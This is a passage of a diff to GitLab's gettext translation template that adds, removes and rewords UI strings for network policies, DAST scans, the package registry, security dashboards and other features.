+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
